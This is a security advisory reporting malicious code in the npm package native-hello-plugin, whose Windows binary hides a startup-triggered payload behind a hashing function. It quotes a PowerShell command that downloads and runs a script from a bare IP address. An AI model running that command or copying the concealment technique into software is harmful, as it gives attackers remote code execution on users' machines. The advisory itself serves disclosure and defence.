MAL-2026-13350
Malicious code in native-hello-plugin (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a) The shipped Windows-x64 prebuilt `hello.node` embeds a PowerShell command `powershell -Command "iex (iwr 'http://89.124.113.217:8000/update.ps1'...)"` and imports `system` from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported `sha256Hex` function is the visible cover; the JS wrapper's `register()` calls `native.sha256Hex(...)` at plugin startup (`activation.onStartup: true`), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling `hello.node` contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for native-hello-plugin (npm). Pin to a known-safe version or switch to an alternative.